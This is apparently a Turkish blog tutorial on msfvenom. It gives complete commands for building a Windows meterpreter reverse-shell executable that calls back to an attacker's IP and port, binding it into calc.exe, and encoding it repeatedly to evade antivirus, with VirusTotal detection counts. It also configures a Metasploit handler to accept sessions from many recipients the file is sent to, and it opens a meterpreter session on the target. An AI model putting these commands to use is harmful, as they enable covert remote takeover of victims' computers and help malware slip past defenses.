Derinlemesine Msfvenom Kullanımı
Biliyorsunuz uzun zamandan beridir makale yazamadım. Son zamanlarda oldukça yoğun bir koşturmaca içerisindeyim. Bir türlü boşa düşüp, makale yazma fırsatı yakalayamadım. Şimdi bir boşluk yakalamışken “Msfvenom” konusunu ele almak istedim J
Msfvenom, Metasploitin yeni nesil payload üretici aracı olarak kullanıma sunuldu. Msfvenom her ne kadar daha önce yazılıp dağıtılmış olsa da özellikle Kali 2.0’ın dağıtılması ile birlikte artık kaçınılmaz kullanıma sahip oldu. Eski Metasploit kullanıcıları payload (backdoor) üretmek için msfpayload’dan faydalanmaktaydılar. Ancak Kali 2.0 ile birlikte msfpayload ve metasploitin encoder aracı olan msfencode yerini tamamen msfvenom’a bıraktı. Hal böyle olunca da ben msfvenom kullanımı ile ilgili bir makaleyi ele almak istedim.
Msfvenom eski msfpayload ve msfencode aracının birleşimi olarak karşımıza çıktı. Msfpayload ve msfencode kullanımı oldukça çok parametreye sahipti ve kullanıcılar bu parametreleri aklında tutmakta zorlanabiliyorlardı. Ayrıca araçtan araca zıplamak vs. de oldukça zor gelen diğer bir konuydu. Tüm bunlarla birlikte metasploit geliştiricileri Msfvenom aracını üretip, kullanıma sundular. Ben de bu makalede msfvenom aracını detaylandırmaya çalışacağım.
Not: Bu makale Kali v2.0’ın kurulu ve ağ ayarlarının yapılmış olduğu varsayılarak yazılmıştır.
Kali’de bir konsol ekranı açıl “msfvenom” yazalım.
“msfvenom” komutunu yazdığımızda msfvenom aracının yardım menüsü açılacaktır. Ancak biz bodozlama yazdık. Doğru kullanım syntax’ı “msfvenom -h” şeklinde olmalıdır. J
Msfvenom’un kullanım parametreleri aşağıda bulunan Msfvenom Parametreleri tablosunda yer almaktadır.
Parametre Adı | Örnek Kullanımı |
-p | mfvenom’da kullanılacak bir payload’u seçer. msfvenom -p “payload adı” msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 |
-l | Payloadları listeler. msfvenom -l “payload, encoder, nops adı” msfvenom -l payloads veya msfvenom -l encoders |
-f | Kaydedilecek dosya formatı. msfvenom -f “çıktı formatı” msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe |
-a | Oluşturulacak payload’un mimarisini belirler. Msfvenom -a “mimari” msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 |
–platform | Dosyanın çalışacağı platformu belirler. msfvenom –platform “çalışacağı platform” msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 –platform windows |
-o | Payload’un nereye çıkarılacağını belirtir. msfvenom -o “çıkarılacak dizin” msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 -o /root/Desktop/eyup.exe |
-e | Encoder seçimini belirtir. msfvenom -e “encoder adı” msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 -o /root/Desktop/eyup.exe -e x86/shikata_ga_nai |
-i | İterasyon sayısını belirler yani encoding işleminin kaç kere tekrarlanacağını bildirir. msfvenom -i 20 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 -o /root/Desktop/eyup.exe -e x86/shikata_ga_nai -i 20 |
-b | Kötü karakterleri (bad characters) temizler. “msfvenom -b ‘\x00\xff’” msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 -o /root/Desktop/eyup.exe -e x86/shikata_ga_nai -i 20 -b ‘\x00’ |
-x | Oluşturulacak payload’un bir dosya ile birleştirileceğini belirtir. msfvenom -x “birleştirilecek dosyanın adı veya yolu” msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 -o /root/Desktop/eyup.exe -e x86/shikata_ga_nai -i 20 -b ‘\x00’ -x /root/Desktop/calc.exe |
-k | Birleştirilen dosyanın fonksiyonlarının bozulmasını engelle “msfvenom -k” msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 -o /root/Desktop/eyup.exe -e x86/shikata_ga_nai -i 20 -b ‘\x00’ -x /root/Desktop/calc.exe -k |
-c | Birleştirilecek Shell code’u belirler. msfvenom -c “Shell code dizini” msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -c /root/Desktop/shellcode.txt |
Tablo: Msfvenom Parametreleri
Üstteki tabloda görüleceği üzere Msfvenom oldukça rahat ve kolay bir kullanıma sahiptir. Aşağıdaki tabloda ise msfvenom’un çıktı formatları yer almaktadır.
Çıktı Tipi | Çıktı Listesi |
Çalıştırılabilir | asp, aspx, aspx-exe, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war |
Yazılımsal | bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript |
Tablo: Msfvenom Çıktı Formatları
Msfvenom bir çok çıktı formatını desteklediği gibi, bir çok platformu da desteklemektedir. Msfvenom’un payload çıktısının çalışabileceği platformlar ise aşağıdaki gibidir.
Çıktı Tipi | Platform Listesi |
Çalıştırılabilir | osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, solaris, cisco, linux, ruby, java, android, netware, windows |
Tablo: Msfvenom Platform Listesi
Tüm bu ön bilgi ve tanıtımın ardından artık msfvenom kullanarak arka kapımızı oluşturabiliriz. Buna göre bizim hazırlayacağımız payload 192.168.126.141 IP adresi ve 443 portunu kullanarak bize geri dönüş sağlayacak. Bu özelliklerde bir çıktı hazırlamaya başlayalım. Kali’den bir konsol ekranı açıp işe koyulabiliriz.
Dosyamızı “msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f exe -a x86 -o /root/Desktop/eyup.exe –platform windows -e x86/shikata_ga_nai -i 20” komutu ile oluşturduk. Buna göre 192.168.126.141 IP adresinin 443 portuna geri dönüş yapacak, x86 platformda çalışacak, shikata_ga_nai encoder’ını kullanan, 20 defa encoding işlemi yapan bir exe dosyası hazırlamış olduk.
Dosyamız hazır olduğuna göre, oluşturduğumuz dosyayı artık test edebiliriz. Ancak teste başlamadan önce gelen bağlantıları kabul etmek için metasploit multi handler’ı başlatmamız gerekecek. Ayrı bir konsol daha açıp uygulamaya koyuluyoruz.
msfconsole komutunu yazarak metasploit konsolunu çalıştırıyoruz. Ardından listen moda geçmek için aşağıdaki tabloda yer alan komutları sırası ile yazacağız.
Komut | İşlev |
use exploit/multi/handler | Gelen bağlantıları dinleyecek handlerımızı belirtiyoruz. |
set PAYLOAD windows/meterpreter/reverse_tcp | Bize ters bağlantı (reverse connection) kuracak olan payload’umuzu ayarlıyoruz. |
set LHOST 192.168.126.141 | Gelen bağlantıları kabul edecek IP adresimizi belirtiyoruz. |
set LPORT 443 | 443’üncü porta gelen bağlantıları dinleyeceğimizi ve bu bağlantıları kabul edeceğimizi belirtiyoruz. |
set ExitOnSession false | Kaç bağlantı gelirse gelsin, yeni bağlantıların gelmesi için bu değeri false konumuna alıyoruz. Örnek ile açıklamam gerekirse eğer; “oluşturduğumuz exe yi 20 kişiye göndereceğimizi varsayalım. Normal şartlar altında (yani varsayılanda) eğer bu değeri değiştirmezsek, ilk bağlantı geldikten sonra diğer 19 kişi bizimle bağlantı kuramayacaktır. Böyle bir sorun olmasın diyorsak bu değeri false yapmamız gerekiyor.” |
exploit -j -z | Listen moda geçip bağlantılar için bir jobs belirledik. Bundan sonra gelen tüm bağlantıları jobs karşılayacaktır. |
Tablo: Metasploit Listen Moda Geçip Bağlantıları Beklemek
Metasploit yukarda görüldüğü gibi listen mode’a geçecek ve gelen bağlantıları karşılamayı bekleyecektir. Oluşturduğumuz zararlıyı karşı tarafa gönderildikten ve karşı tarafta bulunan bilgisayar dosyayı çalıştırdığında bağlantımız gelecektir.
Bağlantımız geldikten sonra “msfvenom_connection.png” gibi bir ekran ile karşılaşacağız. Hemen ardından gelen bağlantıyı kabul etmek için session komutundan faydalanacağız.
“sessions” komutu ile gelen bağlantıların listesini görüntülüyoruz. Ardından “sessions -i 1” komutu ile 1 numaralı ID’ye sahip olan session’ın içine girerek, hedef ile bağlantımızı sağlayacağız.
Üstteki resimde görüleceği üzere, meterpreter oturumunu üzerimize aldık. Artık hedefimize komutlarımızı yollayabiliriz.
Dipnot: Birden çok session arasında gezmek istiyorsanız, içinde bulunduğunuz meterpreter’a background komutunu yollayıp oturumu sessions listesine geri yollayabilir ve sessions listesindeki herhangi bir ID’ye tekrar geçebilirsiniz.
Peki herşey güzel abi de oluşturduğumuz exe hangi antivirüslere yakalanıyor derseniz de, zararlıyı virustotal’e gönderebilirsiniz. Lakin oraya göndermenizi tavsiye etmem. Ancak yine de göndereceğinizi bildiğimden, ben gönderip sonuçlarını yazayım dedim.
Görüldüğü üzere tarama sonucunda 56 antivirüs uygulamasından 36 tanesi payload’u yakalamaktadır. 20 antivirüs ise yakalayamıyor. Yakalayamayanlar arasında Panda ve ClamAV gibi ürünler de var. Ancak diğer bilindik ürünlerin hepsi yakalıyor maalesef. Virustotal sonucuna aşağıdaki linkten erişebilirsiniz.
Virustotal sonucu: https://www.virustotal.com/tr/file/e47e1831c88aaead059c7254e5586dceba6db041b488ff531f972a40a31cf3c2/analysis/1441993633/
Ee hal böyle olunca da encoder’ın encoder’ına ihtiyaç var. Msfvenom’da birden çok encoder seçebilirsiniz. Biz encoding’in encoding’inin encodingini yapıcaz J Çoklu encoder örneğimiz de aşağıdaki gibi olsun.
“msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.141 LPORT=443 -f raw -e x86/shikata_ga_nai -i 10 | msfvenom -a x86 –platform windows -e x86/countdown -i 5 -f raw | msfvenom -a x86 –platform windows -e x86/shikata_ga_nai -i 20 -f exe -o /root/Desktop/eyup2.exe” Kodu ile yukarıdaki resimdeki yukarıdaki resimde görüleceği üzer çok bir encoding (multiple encoding) işlemi yaptık. Buna göre 10 iterasyonluk shikata_ga_nai üzerine 5 iterasyonluk coutdown ve onunda üzerine 20 iterasyonluk shikata_ga_nai yaptık.
Güvenli günler.